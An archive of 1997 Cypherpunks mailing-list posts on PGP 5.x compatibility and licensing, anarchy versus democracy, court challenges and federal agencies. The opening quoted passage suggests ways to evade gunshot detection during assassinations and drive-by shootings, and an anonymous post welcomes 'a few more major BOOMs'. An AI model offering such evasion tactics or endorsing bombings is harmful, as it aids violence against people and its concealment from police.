>every backfiring car, which will dampen their enthusiasm for responding
>unless full-auto fire or a prolonged gunfight is overheard.  Of course, if
>you have a silenced weapon and some cherry bombs with cigarette time-delay
>fuses, you can use this system to docoy the police into the wrong
>neighborhood.  Or if you confine yourself to single-shot assassinations
>near busy streets, it will probably be written off as a vehicle backfire,
>especially if you are doing a drive-by with a suppressed shotgun.  (Not
>possible to silence completely, but certainly possible to quiet to the
>point that it wouldn't attract undue notice along a busy street.)
>
>In order for this system to be worth anything, it would have to be able to:
>1.  Use voice recognition techniques to classify the type of weapon
>(primarily useful for machine guns--it could evaluate the frequency
>characteristics, rate of fire, etc. to distinguish between an AK-47 and an
>UZI) sufficiently well to distinguish between small-arms fire, fireworks
>(cherry bombs, M-80's, etc) and vehicle backfires.
>

In late 1994 several members of the Wireless Communication Alliance, an
organization related to Joint Venture Silicon Valley, gave a presentation
on such a system for which they were seeking LE/government funding.  As I
recall the pilot was for East Palo Alto (for those of you not familiar, its
a poor neighborhood, mostly minority, neighborhood between the Hwy 101 and
the Bay).  The wireless infrastructure was proposed to reduce costs to
practical levels by providing an inexpensive link to more centralized
processing. I haven't followed up and don't know if the project went
anywhere.

If reliable and used as presented it could reduce LE response to some
violent crimes. The prospects for misuse are truly scary.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 2 Nov 1997 09:24:35 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Free Market Anarchy (Beck's Folly) - Fundamental flaw
Message-ID: <199711020120.TAA02325@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



The fundamental flaw with the justification of a Free Market Anarchy and
also the fundamental condemnation of Democracy is that of taxation.

However, the theory of democracy does not in any way address the issues of
taxation, only how laws are made and what the boundaries on those laws are.
In fact, until about the first third of this century there was NO personal
taxation in this country at the federal level. Clear prima facia , and to use
Beck's verbage 'real', evidence that the assertion that personal taxation and
democracy are irrevocably wedded. Ask yourself, why is it that no free
market anarchist *ever* mentions commenality in humanity? Why do their have
inherent and implicit in their systems a class structure? They would have
you believe this is natural, it is not. Class structures are reflections of
the beliefs of the people, not some fundamental law of nature.

Furhermore, Free Market Anarchy does not address the issues of protection
from abuse. It does not recognize in any manner any mechanism for redress of
grievances unless you happen to be one of the few who controls the wealth.
It further assumes that those who don't have wealth will willingly take this
station in life as a given and simply work for those who do have wealth and
accept without resentment that they will forever be denied any sort of
opportunity to change their station in life except at the whim of the power
brokers. It further does not in any way address issues of life, liberty, or
pursuits of happines - only monetary wealth. It is clear that having wealth
does not in any manner guarantee any sort of empathy for others in the holder.
If anthing, history demonstrates that such 'lords of wealth' are pragmatic
about collecting wealth to the point of predation.

This argument from the specific to the general is fundamentaly flawed and
the conclusion suffers because of it.

Power corrupts, absolute power corrupts absolutely. How that power is
obtained, by vote or specie, is irrelevant as clearly shown by history.

Some hold that the majority of the populace suffer taxation at the point of
a gun. This assertion is also false. There have historicaly been several
political parties which have promised to eliminate personal taxation. In
every case those parties could not control more than a truly minimal
percentage of the vote. Yes, people say taxation is too high, they do not
hold the assertion that taxes should be completely eliminated.

Free Market Anarchies are doomed to the same sort of death, and if ever
implimented the same sorts of abuse, as all other non-democratic systems.

Also, recognize that those who support such systems have a set of commen
character flaws. First, they can't differentiate the implimentation from the
theory of political systems. They would have you believe that if a given
implimentation of a system is flawed or broken than all systems of that ilk
are then broken or flawed. Clearly history does not support such assertions.
In short, they would throw the baby out with the bathwater. Secondly, these
in general are the sorts of people who find glee when they see a polic
officer run over in the street. Do you seriously believe that anyone this
cold and uncarring would not hesitate for an instant in putting pepper spray
in your eyes? Thirdly, they express a view which I call Theory X equality.
In short, as long as they are the ones making the profit, the fact that you
suffer for it, justly or not, is irrelevant and justified. In more prosaic
words, the ends *always* justifies the means. An assertion that history also
does not support.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 2 Nov 1997 09:27:39 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Free Market Anarchy (Beck's Folly) - Fundamental flaw (fwd) [correction]
Message-ID: <199711020123.TAA02381@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Jim Choate <ravage@ssz.com>
> Subject: Free Market Anarchy (Beck's Folly) - Fundamental flaw
> Date: Sat, 1 Nov 1997 19:20:20 -0600 (CST)

> The fundamental flaw with the justification of a Free Market Anarchy and
> also the fundamental condemnation of Democracy is that of taxation.
> 
> However, the theory of democracy does not in any way address the issues of
> taxation, only how laws are made and what the boundaries on those laws are.
> In fact, until about the first third of this century there was NO personal
> taxation in this country at the federal level. Clear prima facia , and to use
> Beck's verbage 'real', evidence that the assertion that personal taxation and
> democracy are irrevocably wedded.
                                  ^
                                  is false.


> Ask yourself, why is it that no free
> market anarchist *ever* mentions commenality in humanity? Why do their have
> inherent and implicit in their systems a class structure? They would have
> you believe this is natural, it is not. Class structures are reflections of
> the beliefs of the people, not some fundamental law of nature.
> 
> Furhermore, Free Market Anarchy does not address the issues of protection
> from abuse. It does not recognize in any manner any mechanism for redress of
> grievances unless you happen to be one of the few who controls the wealth.
> It further assumes that those who don't have wealth will willingly take this
> station in life as a given and simply work for those who do have wealth and
> accept without resentment that they will forever be denied any sort of
> opportunity to change their station in life except at the whim of the power
> brokers. It further does not in any way address issues of life, liberty, or
> pursuits of happines - only monetary wealth. It is clear that having wealth
> does not in any manner guarantee any sort of empathy for others in the holder.
> If anthing, history demonstrates that such 'lords of wealth' are pragmatic
> about collecting wealth to the point of predation.
> 
> This argument from the specific to the general is fundamentaly flawed and
> the conclusion suffers because of it.
> 
> Power corrupts, absolute power corrupts absolutely. How that power is
> obtained, by vote or specie, is irrelevant as clearly shown by history.
> 
> Some hold that the majority of the populace suffer taxation at the point of
> a gun. This assertion is also false. There have historicaly been several
> political parties which have promised to eliminate personal taxation. In
> every case those parties could not control more than a truly minimal
> percentage of the vote. Yes, people say taxation is too high, they do not
> hold the assertion that taxes should be completely eliminated.
> 
> Free Market Anarchies are doomed to the same sort of death, and if ever
> implimented the same sorts of abuse, as all other non-democratic systems.
> 
> Also, recognize that those who support such systems have a set of commen
> character flaws. First, they can't differentiate the implimentation from the
> theory of political systems. They would have you believe that if a given
> implimentation of a system is flawed or broken than all systems of that ilk
> are then broken or flawed. Clearly history does not support such assertions.
> In short, they would throw the baby out with the bathwater. Secondly, these
> in general are the sorts of people who find glee when they see a polic
> officer run over in the street. Do you seriously believe that anyone this
> cold and uncarring would not hesitate for an instant in putting pepper spray
> in your eyes? Thirdly, they express a view which I call Theory X equality.
> In short, as long as they are the ones making the profit, the fact that you
> suffer for it, justly or not, is irrelevant and justified. In more prosaic
> words, the ends *always* justifies the means. An assertion that history also
> does not support.
> 
> 
>     ____________________________________________________________________
>    |                                                                    |
>    |    The financial policy of the welfare state requires that there   |
>    |    be no way for the owners of wealth to protect themselves.       |
>    |                                                                    |
>    |                                       -Alan Greenspan-             |
>    |                                                                    | 
>    |            _____                             The Armadillo Group   |
>    |         ,::////;::-.                           Austin, Tx. USA     |
>    |        /:'///// ``::>/|/                     http://www.ssz.com/   |
>    |      .',  ||||    `/( e\                                           |
>    |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
>    |                                                 ravage@ssz.com     |
>    |                                                  512-451-7087      |
>    |____________________________________________________________________|
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sun, 2 Nov 1997 11:49:14 +0800
To: cypherpunks@Algebra.COM
Subject: Re: effective GACK fighting
Message-ID: <3.0.32.19971101195003.0068de90@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Vlad the Mad wrote:

>hence, I think we need to rely more on the courtroom-- it's
>the only "language" that bureacrats understand. extremely 
>expensive, but more effective. it forces us to put our money
>where our mouths are. "the price of liberty is eternal vigilance"
>and a lot of cash as well. the PRZ case proves the public
>can support such a campaign. also tactics
>as used by Softwar such as the FOIA attack approach. 
.......................................................

I'm agreeing with Vlad (euwwwww), mainly because I've had the same idea for
a long time, about the effect of winning intellectual battles in a
courtroom.   This is a prime location for the airing-out of ideas,
clarification of concepts, and making decisive conclusions about what is/is
not the right way for governming bodies to behave, to do, to treat
citizens, in relation to the original ideal (and could that ideal be
clarified even further, for those who still don't get it?).   It would
require some 'real' libertarian lawyers of the kind cpunks could support.
But wouldn't it be grand to watch as they decimated the opposition, as they
reminded everyone of the raison d'etre for this exceptional nation, and as
they 'put it to' a jury, in black & white, just what the deal is in a free
society?

Shoot, we don't need another President - just a good lawyer.

Just imagine!
Dream on!
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 3 Nov 1997 04:45:38 +0800
To: Jim Choate <aba@dcs.ex.ac.uk>
Subject: Re: democracy?! (fwd)
In-Reply-To: <199711012333.RAA01954@einstein.ssz.com>
Message-ID: <v03102801b081a9259161@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>> (perhaps old Iceland would be a suitable anarchy
>> to consider as a comparison).
>
>If it's so damn good how come it doesn't exist anymore? If it provided such
>a superior governmental system providing the maximum return on investment
>why did it go away? Why did they instead elect to go with a king? Futher,
>explain how such an anarchic system can be expanded without demonstrating
>the exact same sorts of scaling problems consensual democracies such as
>ancient Greek ran into? It's one thing to rule a few 10's of thousands of
>people who are related, share world-models and have limited resources and
>quite another to rule 4+ Billion people who speak hundreds if not thousands
>of languages and concommittent cultural beliefs?

So, a solution is to encourage (e.g., through technological means) the
break-up of nation-states into smaller geo-political groupings.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 2 Nov 1997 04:16:30 +0800
To: ravage@ssz.com
Subject: Re: democracy?! (Re: Terrorism is a NON-THREAT (fwd)
In-Reply-To: <199711010114.TAA26954@einstein.ssz.com>
Message-ID: <199711012006.UAA02716@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate <ravage@ssz.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> wrote:
> > The real problem as I see it with democracy is that not only do your
> > neighbours get to vote to have you locked up for something which is
> > none of their business, and has no conceivable effect up on them; but
> > they actually get to vote for you to be charged for the "service" of
> > being locked up to protect you from yourself.
> 
> Exactly what kind of democracy are you speaking of? Sounds like you are
> lumping them all into one big bucket, 

I figure it's a reasonable summary of a lot of democracies right now.

> If so, please be so kind as to demonstrate how a representative,
> constitutional, and majority democracy are the same? And for the
> record, we have a constitutional representative democracy.

Didn't say they were "the same".  But they do share a characteristic:
distortions of free market in the form of voting for theft and
redistribution of other peoples money leading to annoying government
micro-management, and general do-gooder busy-body-ness, and the many
laws on thought crimes.

> Personaly, I figure you must be one of those folks with a cognitive
> disfunction. What part of "Congress shall make no law..." do you not 
> understand?

I understand it, but US politicians either don't, or don't care and
largely ignore the constitution.  What does it matter whether I
understand it or not?  Your constitution says you can own and carry
guns; your politicians and law enforcement increasingly say that you
can not.  Your response to my saying that is that _I_ don't understand
the constitution?

> > The wild west was better than this state of affairs -- people didn't
> > have the energy or inclination to waste their own resources being nosy
> > parkers, and those that did were apt to wind up full of lead.
> 
> Boy, you history is simply fucked. If you seriosly think the west was like
> television you should spend more time reading books and period newspapers
> and less time looking at the boob-tube. 

I don't own a TV, and so don't watch much (by choice -- it's mostly
garbage); printed mass media is a bit better, but not that much.

> At the height of the range wars there were only 9 murders associated
> with the conflict, not hundreds as the popular entertainment media
> and spin-doctor culture would have you believe. Get your fucking
> facts straight.

I know, that was my point; recall that I said the murder rate was low.
The point was there were way less laws, and few were telling their
neighbours what they could think.

> Face off's at high-noon simply didn't happen and poeple didn't run
> around having gun fights all the time.

Right!

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Sun, 2 Nov 1997 12:54:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re:
In-Reply-To: <199711020324.EAA29916@basement.replay.com>
Message-ID: <3.0.3.32.19971101201844.030ea1a8@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3986.1071713747.multipart/signed"

--Boundary..3986.1071713747.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 04:24 AM 11/2/97 +0100, Anonymous wrote:

>But now what? Please someone answer my questions
>about PGP - it appears that the 5.x versions are not
>compatible with the 2.x versions which came previous.
>Is this so? Also, the direction they seem to be
>heading is in providing more and more non-free
>GAKked product. But aren't the 2.x and 5.x versions
>freeware? If so, can't others - a group of 
>individuals - take that source code and build off
>of that? Piss on these assholes and their licensing
>fees. It was inevitable, anyway. They are a 
>corporation after all, and the corporations are 
>not on "our" sides.

PGP 5.x is interoperable with PGP 2.6.x as long as you confine yourself to
using PGP 2.6.x RSA keys.  When you encrypt a message to a mix of RSA
(2.6.x) and ElGamal (5.x) keys, you will get a message stating that if you
insist on encrypting to the ElGamal keys, then 2.6.x users will not be able
to read the message.

I agree that the licensing fees posted are outrageous, but at least PGP
Inc. did release the source code so you CAN live without their SDK if you
are willing to analyze it.  How many other companies release source code?
How many other companies release freeware products like PGP 5.0?  They have
to make a few bucks here and there to stay in business, although I think
they are pricing themselves out of the market with their SDK fees.

PGP Inc. is not the enemy, although maybe some of the folks there ought to
have their heads examined.  When they implement mandatory CMR/GMR/GAK and
stop releasing source code, then I will throw rocks, too.  Until then, I
will continue to use their products, and sit on my high horse and laugh at
their marketing folks...


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3986.1071713747.multipart/signed
Content-Type: application/octet-stream; name="pgp00001.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00001.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IFBHUCBmb3Ig
QnVzaW5lc3MgU2VjdXJpdHkgNS41CgppUUEvQXdVQk5Gdi8zOEpGMGtYcXB3
M01FUUxkZ2dDZU0yQnJUd2owRlUrdU1CbzV4ai9LTS8ybjdNMEFuMngzClZy
STZvQ3NnTTkvK0w5WjVxeTBnaVhYdgo9YTNnWgotLS0tLUVORCBQR1AgTUVT
U0FHRS0tLS0tCg==
--Boundary..3986.1071713747.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sun, 2 Nov 1997 03:46:15 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
In-Reply-To: <v03102809b0810793884b@[207.167.93.63]>
Message-ID: <199711011925.UAA05261@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Tim May said:
> The problem with the BATF (Bureau of Alcohol, Tobacco, and Firearms, for
> you foreigners reading this) is that it is an agency designed solely to
> fight contraband and smuggling.
> 
> [...]
> The BATFis really an internal army, just like so many statist countries have.
> 
> This is why they're getting Blackhawk choppers, Bradley Fighting Vehicles,
> fully automatic weapons, and access to SIGINT and COMINT resources. In
> conjunction with the DEA, Customs, and other such agencies.

Some argue that things have to get a lot worse before they'll get better.
The media coverups and brainwashing will ensure that it has to get pretty
damn bad before Joe Shmoe is going to notice anything is amiss.  Perhaps to
the stage that he knows a few people who have first hand experience of
family members assasinated by storm-troopers "protecting" them from
themselves.

The BATFuckers are just one symptom.

A few more major BOOMs would accelerate the trend.

But just how bad is bad enough?  As bad as Stalins Russia?  What was it, 1
in 10 assasinated?  What sort of place would this be like to live in when
it gets that bad?  What is the likely replacement system going to be like,
what sort of government is going to arise out of that kind of mess?

Would a similar system fill the power vacuum, or would we be left with a
the desired anarchy.

I wonder.  There might be an argument for just laying low until
cryptoanarchy starves the bloated cancerous growth.

Amad3us

-----BEGIN PGP SIGNATURE-----
iQCVAwUBNFt6ffKMuKFNFivhAQHagwP8DiNphzTEBFIxjMfuk0GMoTaSwY4Etjyb
Q234GnFkf5iqWgRsDnNJWeiQzfli9EV+/5xA/eY80N+AQxbln6eFwkG8U9btMoqS
Y7NCNwU6tDSckAOSSPOtdikZBxrNclW7ZK0ueuuHvFZGx5ciWCUBbx6bcxzphmhl
bWPRWC/asbc=
=I0Qy
-----END PGP SIGNATURE-----
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQCNAzRbd7MAAAEEAONwsEpUgiezyfP6lxBzM5SfHJS6MK12JyR09KBZp2rrW680
4vbKAO/oteftRRM1jYYaQM6pUd2Tbb9z+cSuQGr2GH9kQ0Y7bllh89E1PItj7frG
ARSCbt1gbbXDXEICY8Ne1zZB7FfMt2qGVBdrKG/i2vfdZa5+n/KMuKFNFivhAAUR
tCNBbWFkM3VzIDxjeXBoZXJwdW5rc0BjeWJlcnBhc3MubmV0Pg==
=6dKS
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 2 Nov 1997 12:38:44 +0800
To: Blanc <cypherpunks@Algebra.COM
Subject: Re: effective GACK fighting
In-Reply-To: <3.0.32.19971101195003.0068de90@cnw.com>
Message-ID: <v03102802b081a429b97f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:50 PM -0700 11/1/97, Blanc wrote:

>I'm agreeing with Vlad (euwwwww), mainly because I've had the same idea for
>a long time, about the effect of winning intellectual battles in a
>courtroom.   This is a prime location for the airing-out of ideas,

Where have you folks been the last couple of years? Given that the list has
been discussing the Bernstein case (and 30 of us even attended some of
Judge Patel's hearings in SF), and the Junger and Karn cases have been
extensively reported, and the CDA was overturned, I'd certainly say court
battles have been a priority for a long time.

In fact, the EFF has more or less officially de-emphasized legislative work
in favor of spending more time and money on court cases. The EFF was, of
course, deeply involved in the Bernstein case.

I'm not sure what Detweiler's point was, as I only saw his comment through
Blanc's quotes, but if he was calling for more of a legal focus, I think
this was realized by many a few years ago.

Certainly I don't know of any Cypherpunks pushing for legislative
solutions. Most of us have explicitly condemned the legislative actions,
realzing that Congress can only make things worse.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 2 Nov 1997 05:37:15 +0800
To: cypherpunks@cyberpass.net
Subject: pgp5.x bashing (Re: [SURVEY] pgp5.x / pgp2.x users)
In-Reply-To: <d7398092218ec328be03256d0d8c83a9@anon.efga.org>
Message-ID: <199711012117.VAA03414@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous writes:
> >The question has come up on ietf-open-pgp as to how important it is
> >for the OpenPGP standard to support backwards compatibility with
> >pgp2.x.
> 
> Very. 5.x right now is nothing but annoying. I can understand
> wanting to use the new algorithms. However if the authors want to do
> that and literally force people into upgrading then they need to
> make sure that every platform which had a version of 2.x has a
> version of 5.x available, and they need to stop breaking *every*
> script and program which calls PGP. If they release a version of PGP
> for one platform before they do others and the new version is
> incompatable with the old for all intents and purposes, they're just
> feeding OS wars, frustration, and hostility.

I think it is somewhat understandable that the windows and mac
versions work well before the unix versions, even if painful.  The way
that `make install' over-writes your pgp2.x binaries is mildly
annoying also.  (And the way the binary can't handle being renamed to
pgp5 -- insists on being called pgp which makes it more difficult to
have it coexist).

(An aside: I understand the linux version (that is if you use the unix
version under linux) is supposed to be free for any use (even
commercial) at least that's what Phil Zimmermann said sometime back --
this was to humor a Richard Stallman.)

> >The IETF generally likes to steer clear of patented algorithms as
> >MUSTs in standards.  This encourages implementations, etc.
> >(Personally I'm pretty keen on this point, though I would like more
> >backwards compatible pgp5.x implementations -- I've already received
> >emails I can't read without resorting to the pgp5 command line app,
> >which doesn't work with my mailer integrated system.)
> 
> That's exactly my situation. I figure, however, that if somebody is going to
> send out broken email I won't bother kludging around to read it no more than
> I will go start X11 and fire off a 20 MB browser (Communicator) because some
> moron doesn't know how to use HTML as it was originally designed. I'm 
> personally appalled at the number of Cypherpunks using a version of PGP
> which is completely incompatable with previous versions and outrageously
> annoying to use unless you run Windows since it breaks everything which is
> integrated.

Hmm.  It's not _completely_ incompatible, it's only broken.  If the
pgp5.x user uses an RSA key it works ok.  So people who want to
interoperate should generate two keys, one DSA/EG pair, and one RSA
key.  Use RSA for talking to pgp2.x, and DSA/EG for talking to 5.x.
(Or use RSA for everything, but 5.x has some security advantages
(better 0xdeadbeef resistance, no fingerprint spoofing problem,
separate signature and encryption keys, key expiry, etc)).

Problem is pgp5.x doesn't automate this.  It could.  It doesn't I
think because they are trying to get people to move away from RSA,
also perhaps (speculation here) because they are trying to get you to
pay for the new version.  (Though there are still freeware versions,
commercial users will need to switch, and some people may pay so they
get tech. support, etc.)

I figure a more friendly way for pgp5.x to behave would be to generate
both sorts of key (RSA and DSA/EG) and automatically do the right
thing depending on public key type of person being communicated with.

> I think the major problem with 5.x right now as it stands is the complete
> lack of support from http://beta.pgp.com, the forced command-line
> incompatabilities, 

I wouldn't say this is "forced", more that they haven't gotten to it
yet due to time pressure.  It's probably quite fiddly to get right.

> and the lack of a stable multiplatform version. Add to that the CMR
> debacle.

Uh yeah, well you won't get any arguments from me on the CMR front;
CMR is basically clipper VI (or whatever the clipper version is now).

> Face it, PGP Inc. screwed up. I think it's ultimately going to be the job of
> Cypherpunks outside of the Land of the Freeh to clean up their mess.

If you're interested, watch www.systemics.com, and enigma
http://www.cs.ucl.ac.uk/staff/I.Brown/; presently they'll add pgp5.x
compatibility.  enigma and systemics cryptix is in _java_, you can't
get much more portable than that.  enigma works with any configurable
SMTP / POP3 MUA (netscape, eudora (I presume), etc)

> Has anyone considered hacking up 2.6.xi to handle the new format? It
> would have to be saner than 5.x is at this point. I would try, but
> I'm in the Land of the Freeh where you put your backside on the line
> to write any crypto software at all.

Probably someone will do this if the CMR debacle carries on.  I have
already heard some speculation on an alternative source tree branching
off from pgp2.6.x.

Watch ietf-open-pgp too, it'll be interesting to see what happens if
the long waited for draft from PGP includes CMR.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Sun, 2 Nov 1997 05:56:06 +0800
To: cypherpunks@cyberpass.net
Subject: PGPsdk is out, but not for free
Message-ID: <19971101214000.19314.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



More proof that the PGP folks have some kind of alterior motive.

Translation: They created a software package which purposefully breaks the
previous free versions of that package. Then they release a development kit
for that package with outrageous licensing fees. 

Welcome to the new PGP Inc.

>First, PGPsdk has been released:

>        http://www.pgp.com/sdk/

>The bad news:  the licensing fees are so high that there will be no
>freeware or shareware applications using it.  Here's an example of the
>licensing:

>License Plan #1

>                            Authentication, Encryption/Decryption,
>                            PGP/MIME, Key Management:  $25,000 advance on
>royalties + 2% of product revenues (minimum $1 per client and $35 per
>server)

>Add Certificate Server Integration:
>                                          $5,000 advance on royalties

>Support/Upgrades
>                            (includes email support by a trained
>                            developer support technician)
>                            $1,500 per year + 15% of royalty payments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 2 Nov 1997 11:44:24 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: LAPD reject surplus bayonets [CNN]
Message-ID: <199711020342.VAA02835@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                     LAPD REJECTS, RETURNS SURPLUS BAYONETS
>                                        
>      Sheriff November 1, 1997
>      Web posted at: 10:03 p.m. EST (0303 GMT)
>      
>      SACRAMENTO, California (AP) -- The Los Angeles Police Department has
>      decided to return the bayonets it has received from a U.S. military
>      surplus program.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 2 Nov 1997 12:09:06 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: effective GACK fighting (fwd)
Message-ID: <199711020403.WAA02950@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 01 Nov 1997 19:50:49 -0800
> From: Blanc <blancw@cnw.com>
> Subject: Re: effective GACK fighting

> Vlad the Mad wrote:
> 
> >hence, I think we need to rely more on the courtroom-- it's
> >the only "language" that bureacrats understand. extremely 
> >expensive, but more effective. it forces us to put our money
> >where our mouths are. "the price of liberty is eternal vigilance"
> >and a lot of cash as well. the PRZ case proves the public
> >can support such a campaign. also tactics
> >as used by Softwar such as the FOIA attack approach. 
> .......................................................
> 
> I'm agreeing with Vlad (euwwwww), mainly because I've had the same idea for
> a long time, about the effect of winning intellectual battles in a
> courtroom.   This is a prime location for the airing-out of ideas,
> clarification of concepts, and making decisive conclusions about what is/is
> not the right way for governming bodies to behave, to do, to treat
> citizens, in relation to the original ideal (and could that ideal be
> clarified even further, for those who still don't get it?).   It would
> require some 'real' libertarian lawyers of the kind cpunks could support.

I also agree. It is high time those of who believe in our rights put their
money where our mouth is.

But, why do we need a lawyer? We have the right to represent ourselves, why
let somebody who has a intimate stake in the status quo represent us?

Has there ever been a law suite brought against the Supreme Court or
Congress claiming their actions were unconstitutional? The amendment
relating to taxation for a start, repeal individual taxation and return to
the system originaly intended by the founding fathers. Also, let's start
something relating to the 2nd. We should also move to have an amendment
which requires all existing and future legislation pass constitutional
review *prior* to being voted into existance. We should also move to have an
amendment that *requires* government employees be responsible for their
actions on a individual basis and eliminate the protection that Congress has
put in place, that is *not* in the Constitution. We should further move to
have the seizure laws revoked because they are not constitutional. The drug
laws should also be attacked on that level as well.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 2 Nov 1997 06:19:50 +0800
To: ravage@ssz.com
Subject: Re: democracy?!
In-Reply-To: <199711012037.OAA01218@einstein.ssz.com>
Message-ID: <199711012206.WAA04285@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate <ravage@ssz.com> writes:
> What is a reasonable summary? Reasonable to who? What 'lot' of
> democracies?

This is getting kind of repetitive.  Perhaps you could provide a
counter example to disprove my claim that democracies result in more
petty privacy and freedom invasive laws than would be the case with a
pure market anarchy (perhaps old Iceland would be a suitable anarchy
to consider as a comparison).  Do you have a democracy in mind which
doesn't result in lots thought crimes and other "crimes" which are so
far removed from normal free market schelling points.  It's just a
natural tendency of a democracy.

> > But they do share a characteristic:
> > distortions of free market in the form of voting for theft and
> > redistribution of other peoples money leading to annoying government
> > micro-management, and general do-gooder busy-body-ness, and the many
> > laws on thought crimes.
> 
> Again, demostrate your assertion(s).
> 
> Who? What? When? Where? Why? How?

